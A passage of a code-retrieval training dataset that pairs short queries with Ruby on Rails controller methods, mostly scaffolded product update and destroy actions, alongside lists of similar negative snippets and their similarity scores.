@product.update_attributes(params[:product])\n format.html { redirect_to edit_product_path(@product), notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @product.update(product_params)\n render :show, status: :ok, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n @product.edit\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n if @onecompany_product.update_attributes(params[:onecompany_product])\n format.html { redirect_to @onecompany_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecompany_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n unread\n\n @product = Product.find(params[:id])\n @sellers = Seller.all\n @branches = Branch.all\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n @product.name_prefix = @product.name.first.upcase\n respond_to do |format|\n if @product.update_attributes(params[:product])\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('.message') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(products_params)\n format.html { redirect_to @product, notice: 'Produkty was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.eager_loading.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully updated.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to action: 'show', notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = TempProduct.find(params[:id])\n @product.qty = params[:qty]\n # save product\n if @product.save\n # success\n render :json => { :success => true }\n else\n # failed\n render :json => { :success => false }\n end\n end", "def update\n @food_product.update(food_product_params)\n end", "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "def update\n #@product = Product.find(params[:id]) #하단에서 미리 선언\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: '상품이 수정되었습니다.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @paper_product.update(paper_product_params)\n format.html { redirect_to @paper_product, notice: \"Paper product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @paper_product }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @paper_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to root_url(:item3 => 3), notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product1.update(product1_params)\n format.html { redirect_to @product1, notice: \"Product1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n @magento_product = MagentoProduct.find(params[:id])\n\n respond_to do |format|\n if @magento_product.update_attributes(params[:magento_product])\n format.html { redirect_to @magento_product, notice: 'Magento product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @magento_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update_attributes(myparams)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @my_product.update(my_product_params)\n format.html { redirect_to @my_product, notice: 'My product was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_product }\n else\n format.html { render :edit }\n format.json { render json: @my_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Your product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #Find product by productID\n @product = Product.find_by(productID: params[:id])\n \n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to products_path, notice: 'Product has been updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: @sub_product.errors unless @sub_product.update(sub_product_params)\n end", "def update\n render json: @sub_product.errors unless @sub_product.update(sub_product_params)\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Продукт успешно обновлен.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n if @product.update(product_params)\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash[:notice] = 'Quantity added'\n redirect_to products_path\n end\n format.json do\n render json: @product.to_json\n end\n end\n else\n respond_to do |format|\n format.html do\n flash.now[:error] = 'Error updating quantity'\n render :edit\n end\n format.json do\n render json: { errors: @product.errors.full_messages }, status: 422\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def update_many\n respond_to do |format|\n if @products.update_all(product_params)\n format.html { redirect_to products_url, notice: 'Products were successfully updated.' }\n format.json { render :index, status: :ok, location: products_url }\n else\n format.html { render :index }\n format.json { render json: @products.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:product][:price] = format_float params[:product][:price]\n @product = Product.find(params[:id])\n\n respond_to do |format|\n params[:product][:price] = format_float params[:product][:price]\n if @product.update_attributes(params[:product])\n format.html { redirect_to admin_product_path(@product), notice: t(:'products.edited') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_specification.update(product_specification_params)\n format.html { redirect_to @product_specification, notice: 'Product specification was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_specification }\n else\n format.html { render :edit }\n format.json { render json: @product_specification.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('update_success') }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :manage, @product, :message => 'Not authorized as an administrator'\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to admin_products_path, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n rescue StandardError => e\n Airbrake.notify(e)\n end", "def update\n @product = Product.find(params[:id])\n \n respond_to do |format|\n if @product.update_attributes(params[:product])\n @product.update_attributes(:unit=>Unit.find(params[:unit_id].to_i),:brand=>Brand.find(params[:brand_id].to_i),:category=>Category.find(params[:category_id].to_i))\n format.html { redirect_to @product, notice: '商品更新成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n if @product\n if @product.update(price: params[:price])\n render 'api/products/show'\n else\n render json: [\"Can only update price\"], status: 422\n end\n else\n render json: [\"Product not found\"], status: 422\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html do\n redirect_to @product, notice: 'Product was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit , status: :unprocessable_entity }\n format.json do\n render json: @product.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Изделие успешно обновлено.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71118176", "0.66956574", "0.6663161", "0.6614635", "0.65725356", "0.6500799", "0.64642054", "0.6460646", "0.6456365", "0.64500326", "0.64329946", "0.63851064", "0.6381777", "0.6376986", "0.6369513", "0.6357122", "0.6354364", "0.6345106", "0.6342484", "0.6324882", "0.63229346", "0.63225764", "0.632203", "0.63203114", "0.63102514", "0.63094234", "0.63094234", "0.630629", "0.6294078", "0.6294078", "0.62903434", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6290198", "0.6284697", "0.6281987", "0.6281987", "0.6281987", "0.6281987", "0.6281987", "0.6265498", "0.6261863", "0.6261538", "0.6260511", "0.6259683", "0.62543094", "0.62530047", "0.6242494", "0.62385476", "0.6233233", "0.6232299", "0.6230062", "0.62204", "0.62186205", "0.6209416", "0.6201709", "0.6195559", "0.61949176", "0.61900043", "0.61875546", "0.61733735", "0.6165158", "0.61639607", "0.61608", "0.61597675", "0.6156525", "0.6156525", "0.6152587", "0.6152454", "0.61515725", "0.6151199", "0.6149311", "0.61492956", "0.6145377", "0.6135694", "0.6134924", "0.61345863", "0.61316794", "0.6130595", "0.61293995", "0.612807", "0.61273855", "0.61250615", "0.61235374", "0.6120641", "0.6115949" ]
0.69816375
1
DELETE /matter_products/1 DELETE /matter_products/1.json
def destroy @matter_product.destroy respond_to do |format| format.html { redirect_to matter_products_url, notice: 'Matter product was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_product(name)\n delete(\"/apiproducts/#{name}\")\n end", "def destroy\n unread\n\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end", "def destroy\n @product.destroy\n\n render json: @product, status: :ok#, location: @collection\n end", "def destroy\n product = Product.find(params[:id])\n product.destroy\n\n render json: { deleted: params[:id] }\n end", "def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end", "def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end", "def destroy\n @product.destroy\n render json: {}\n end", "def destroy\n p @product.destroy!\n render json: { result: 'deleted' }, status: :ok\n end", "def destroy\n begin\n @api_v1_product.destroy!\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.delete!\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n\n head :no_content\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to root_url(:item => 3), notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @magento_product = MagentoProduct.find(params[:id])\n @magento_product.destroy\n\n respond_to do |format|\n format.html { redirect_to magento_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @mixproducto = Mixproducto.find(params[:id])\n @mixproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to mixproductos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n puts(\"you are in destroy \")\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product1.destroy\n respond_to do |format|\n format.html { redirect_to product1s_url, notice: \"Product1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n product = Product.find(params[:id])\n product.destroy\n render json: {id: product.id}\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end", "def destroy\n #@product = Product.find(params[:id]) #하단에서 미리 선언\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = @person.products.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.json { render :json=>true }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n head :no_content\n end", "def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def destroy\n @record = Product.find(params[:id])\n @record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_merchandise_products_url }\n format.json { head :no_content }\n end\n end", "def deleteProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.destroy\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to farmer_list_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('.message') }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n render json: {is_success: true, error_code: 200, message: \"Deleted Successfully\", result: @product}, status: 200\n end", "def destroy\n @tipo_product = TipoProduct.find(params[:id])\n @tipo_product.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('destroy_success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\nend", "def destroy\n @productonegocio = Productonegocio.find(params[:id])\n @productonegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to productonegocios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Продукт успешно удален.' }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @hqproduct.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @paper_product.destroy\n respond_to do |format|\n format.html { redirect_to paper_products_url, notice: \"Paper product was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Your product was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @food_product.destroy\n respond_to do |format|\n format.html { redirect_to food_products_url, notice: \"Food product was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Проект удален' }\n format.json { head :no_content }\n end\n end", "def destroy\n @food_product.destroy\n respond_to do |format|\n format.html { redirect_to food_products_url, notice: 'Food product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @part = @product.parts.find(params[:id])\n @part.destroy\n\n respond_to do |format|\n format.html { redirect_to product_parts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product_name.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_item_product.destroy\n respond_to do |format|\n format.html { redirect_to line_item_products_url, notice: 'Line item product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @core_stock_product.destroy\n # respond_to do |format|\n # format.html { redirect_to core_stock_products_url }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @my_product.destroy\n respond_to do |format|\n format.html { redirect_to my_products_url, notice: 'My product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventory_product.destroy\n respond_to do |format|\n format.html { redirect_to inventory_products_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.707563", "0.70666003", "0.7061442", "0.7031911", "0.7030968", "0.70221364", "0.70145065", "0.6994228", "0.6991333", "0.6986497", "0.69643533", "0.6909867", "0.690956", "0.6903224", "0.6893754", "0.6865364", "0.6857286", "0.6857286", "0.6857286", "0.6857286", "0.6857286", "0.6857286", "0.68491465", "0.6826185", "0.68210036", "0.6815008", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.68103594", "0.6810353", "0.6807936", "0.6807454", "0.6802625", "0.6791001", "0.6791001", "0.6791001", "0.6785027", "0.678388", "0.6779944", "0.6777463", "0.6767669", "0.67653674", "0.6761663", "0.6758317", "0.6758317", "0.67497563", "0.67497563", "0.67497563", "0.67473066", "0.6744142", "0.6739223", "0.67335564", "0.6732936", "0.67258805", "0.6721664", "0.6721446", "0.6720427", "0.6718923", "0.6712519", "0.6711155", "0.6706874", "0.66994554", "0.6693669", "0.66914785", "0.66902083", "0.6688911", "0.66865736", "0.6682009", "0.6680038", "0.66790396", "0.66752833", "0.667515", "0.66745955", "0.66731864", "0.66722417", "0.6657713" ]
0.74430215
0
Use callbacks to share common setup or constraints between actions.
def set_matter_product @matter_product = MatterProduct.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
